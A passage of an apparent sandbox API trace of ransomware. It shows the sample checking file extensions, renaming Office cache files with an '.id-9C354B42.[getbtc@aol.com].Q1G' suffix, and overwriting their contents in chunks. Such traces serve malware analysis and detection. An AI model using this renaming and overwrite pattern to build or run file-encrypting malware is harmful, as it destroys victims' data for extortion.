lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0037.225] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0037.225] lstrlenW (lpString=".zip") returned 4 [0037.225] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0037.225] lstrlenW (lpString=".rar") returned 4 [0037.225] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0037.225] lstrlenW (lpString=".bz2") returned 4 [0037.225] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0037.225] lstrlenW (lpString=".7z") returned 3 [0037.225] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0037.225] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0037.225] lstrlenW (lpString=".dbf") returned 4 [0037.225] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0037.225] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0037.225] lstrlenW (lpString=".1cd") returned 4 [0037.225] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0037.225] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0037.225] lstrlenW (lpString=".jpg") returned 4 [0037.225] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0037.225] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0037.225] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0037.225] lstrlenW (lpString=".doc") returned 4 [0037.225] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0037.225] lstrlenW (lpString=".docx") returned 5 [0037.226] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0037.226] lstrlenW (lpString=".pdf") returned 4 [0037.226] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0037.226] lstrlenW (lpString=".xls") returned 4 [0037.226] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0037.226] lstrlenW (lpString=".xlsx") returned 5 [0037.226] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0037.226] lstrlenW (lpString=".ppt") returned 4 [0037.226] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0037.226] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0037.226] lstrlenW (lpString=".zip") returned 4 [0037.226] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0037.226] lstrlenW (lpString=".rar") returned 4 [0037.226] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0037.226] lstrlenW (lpString=".bz2") returned 4 [0037.226] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0037.226] lstrlenW (lpString=".7z") returned 3 [0037.226] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0037.226] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0037.226] lstrlenW (lpString=".dbf") returned 4 [0037.226] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0037.226] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0037.226] lstrlenW (lpString=".1cd") returned 4 [0037.226] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0037.226] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0037.226] lstrlenW (lpString=".jpg") returned 4 [0037.226] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0037.226] lstrcmpiW (lpString1=".cab", lpString2=".Q1G") returned -1 [0037.226] lstrlenW (lpString="PubLR.cab") returned 9 [0037.227] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0037.227] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x372ff1c | out: lpFileSize=0x372ff1c*=9958388) returned 1 [0037.227] CloseHandle (hObject=0x1c8) returned 1 [0037.227] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab")) returned 0x2020 [0037.227] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0037.227] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0037.227] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0037.228] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc6c | out: lpNewFilePointer=0x0) returned 1 [0037.228] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0037.228] ReadFile (in: hFile=0x1c8, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.230] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0037.232] ReadFile (in: hFile=0x1c8, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.238] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x372fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0037.238] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0037.238] ReadFile (in: hFile=0x1c8, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0037.603] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.603] WriteFile (in: hFile=0x1c8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x372fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x372fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0037.621] SetEndOfFile (hFile=0x1c8) returned 1 [0037.622] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3fe50c8 [0037.625] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.625] WriteFile (in: hFile=0x1c8, lpBuffer=0x3fe50c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe50c8*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.933] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.933] WriteFile (in: hFile=0x1c8, lpBuffer=0x3fe50c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe50c8*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.937] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.937] WriteFile (in: hFile=0x1c8, lpBuffer=0x3fe50c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe50c8*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.941] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3fe50c8 | out: hHeap=0x510000) returned 1 [0037.945] CloseHandle (hObject=0x1c8) returned 1 [0041.508] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0041.509] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0041.509] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0041.509] lstrlenW (lpString=".doc") returned 4 [0041.509] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0041.509] lstrlenW (lpString=".docx") returned 5 [0041.509] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0041.509] lstrlenW (lpString=".pdf") returned 4 [0041.509] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0041.509] lstrlenW (lpString=".xls") returned 4 [0041.509] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0041.509] lstrlenW (lpString=".xlsx") returned 5 [0041.509] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0041.509] lstrlenW (lpString=".ppt") returned 4 [0041.509] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0041.509] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0041.509] lstrlenW (lpString=".zip") returned 4 [0041.509] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0041.509] lstrlenW (lpString=".rar") returned 4 [0041.509] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0041.509] lstrlenW (lpString=".bz2") returned 4 [0041.509] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0041.509] lstrlenW (lpString=".7z") returned 3 [0041.509] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0041.509] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0041.509] lstrlenW (lpString=".dbf") returned 4 [0041.509] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0041.509] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0041.509] lstrlenW (lpString=".1cd") returned 4 [0041.509] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0041.509] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0041.510] lstrlenW (lpString=".jpg") returned 4 [0041.510] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0041.510] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0041.510] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0041.510] lstrlenW (lpString=".doc") returned 4 [0041.510] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0041.510] lstrlenW (lpString=".docx") returned 5 [0041.510] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0041.510] lstrlenW (lpString=".pdf") returned 4 [0041.510] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0041.510] lstrlenW (lpString=".xls") returned 4 [0041.510] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0041.510] lstrlenW (lpString=".xlsx") returned 5 [0041.510] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0041.510] lstrlenW (lpString=".ppt") returned 4 [0041.510] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0041.510] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0041.510] lstrlenW (lpString=".zip") returned 4 [0041.510] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0041.510] lstrlenW (lpString=".rar") returned 4 [0041.510] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0041.510] lstrlenW (lpString=".bz2") returned 4 [0041.510] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0041.510] lstrlenW (lpString=".7z") returned 3 [0041.510] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0041.510] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0041.510] lstrlenW (lpString=".dbf") returned 4 [0041.510] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0041.510] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0041.510] lstrlenW (lpString=".1cd") returned 4 [0041.511] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0041.511] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0041.511] lstrlenW (lpString=".jpg") returned 4 [0041.511] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0041.511] lstrcmpiW (lpString1=".msi", lpString2=".Q1G") returned -1 [0041.511] lstrlenW (lpString="WordMUI.msi") returned 11 [0041.511] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0041.511] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x372ff1c | out: lpFileSize=0x372ff1c*=2522624) returned 1 [0041.511] CloseHandle (hObject=0x1c8) returned 1 [0041.515] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi")) returned 0x2020 [0041.515] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0041.515] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[getbtc@aol.com].q1g")) returned 1 [0041.515] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0041.515] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc6c | out: lpNewFilePointer=0x0) returned 1 [0041.515] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0041.515] ReadFile (in: hFile=0x1c8, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.521] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0041.521] ReadFile (in: hFile=0x1c8, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.532] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x372fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0041.532] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x372fc2c | out: lpNewFilePointer=0x0) returned 1 [0041.532] ReadFile (in: hFile=0x1c8, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x372fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x372fc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.551] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.551] WriteFile (in: hFile=0x1c8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x372fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x372fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0041.847] SetEndOfFile (hFile=0x1c8) returned 1 [0041.847] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3ef0060 [0041.850] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.850] WriteFile (in: hFile=0x1c8, lpBuffer=0x3ef0060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef0060*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.852] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.852] WriteFile (in: hFile=0x1c8, lpBuffer=0x3ef0060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef0060*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.858] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x372fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.858] WriteFile (in: hFile=0x1c8, lpBuffer=0x3ef0060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x372fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef0060*, lpNumberOfBytesWritten=0x372fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.860] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3ef0060 | out: hHeap=0x510000) returned 1 [0041.860] CloseHandle (hObject=0x1c8) returned 1 [0042.275] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0042.275] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.275] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.276] lstrlenW (lpString=".doc") returned 4 [0042.276] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.276] lstrlenW (lpString=".docx") returned 5 [0042.276] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0042.276] lstrlenW (lpString=".pdf") returned 4 [0042.276] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.276] lstrlenW (lpString=".xls") returned 4 [0042.276] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.276] lstrlenW (lpString=".xlsx") returned 5 [0042.276] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0042.276] lstrlenW (lpString=".ppt") returned 4 [0042.276] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.276] lstrlenW (lpString=".zip") returned 4 [0042.276] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.276] lstrlenW (lpString=".rar") returned 4 [0042.276] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.276] lstrlenW (lpString=".bz2") returned 4 [0042.276] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.276] lstrlenW (lpString=".7z") returned 3 [0042.276] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.276] lstrlenW (lpString=".dbf") returned 4 [0042.276] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.276] lstrlenW (lpString=".1cd") returned 4 [0042.276] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.276] lstrlenW (lpString=".jpg") returned 4 [0042.276] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.276] lstrlenW (lpString=".doc") returned 4 [0042.276] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.276] lstrlenW (lpString=".docx") returned 5 [0042.277] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0042.277] lstrlenW (lpString=".pdf") returned 4 [0042.277] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.277] lstrlenW (lpString=".xls") returned 4 [0042.277] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.277] lstrlenW (lpString=".xlsx") returned 5 [0042.277] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0042.277] lstrlenW (lpString=".ppt") returned 4 [0042.277] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.277] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.277] lstrlenW (lpString=".zip") returned 4 [0042.277] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.277] lstrlenW (lpString=".rar") returned 4 [0042.277] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.277] lstrlenW (lpString=".bz2") returned 4 [0042.277] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.277] lstrlenW (lpString=".7z") returned 3 [0042.277] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.277] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.277] lstrlenW (lpString=".dbf") returned 4 [0042.277] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.277] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.277] lstrlenW (lpString=".1cd") returned 4 [0042.277] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.277] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.277] lstrlenW (lpString=".jpg") returned 4 [0042.277] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.277] lstrcmpiW (lpString1=".cab", lpString2=".Q1G") returned -1 [0042.277] lstrlenW (lpString="Proof.cab") returned 9 [0042.277] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0042.459] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x372ff1c | out: lpFileSize=0x372ff1c*=13642474) returned 1 [0042.459] CloseHandle (hObject=0x20c) returned 1 [0042.459] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab")) returned 0x2020 [0042.459] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0042.459] MoveFileW 